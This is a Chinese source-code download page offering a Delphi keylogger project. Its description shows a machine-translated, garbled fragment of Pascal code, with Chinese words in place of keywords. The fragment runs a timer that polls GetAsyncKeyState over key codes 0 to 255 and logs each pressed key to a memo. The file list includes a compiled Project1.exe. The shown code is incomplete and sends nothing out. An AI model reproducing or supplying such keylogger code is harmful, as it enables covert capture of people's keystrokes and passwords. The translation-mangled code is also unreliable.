首页| JavaScript| HTML/CSS| Matlab| PHP| Python| Java| C/C++/VC++| C#| ASP| 其他|
购买积分 购买会员 激活码充值

您现在的位置是:虫虫源码 > 其他 > 通过 Delphi Keyloger 代码

通过 Delphi Keyloger 代码

资 源 简 介

程序 Send(x: string); 开始 form1。Memo1.Lines.Add(x) 结束 ; 程序 TForm1.Timer1Timer(Sender: TObject); //begin //if GetAsyncKeyState(Ord("A")) =-32767 然后 send("A") ; //if GetAsyncKeyState(Ord("B")) =-32767 然后 send("B") ; var X,y:integer ; f:char ; str:string ; 开始 X: = 0 到 255 做 开始

文 件 列 表

pakete.dcu
Project1.dpr
Project1.dproj
Project1.dproj.local
Project1.exe
Project1.identcache
Project1.res
unit1.dcu
unit1.dfm
unit1.pas
LEA ESTO NO LO LEA!(READIT NOO!!!PLEASE NO).TXT
VIP VIP
0.180596s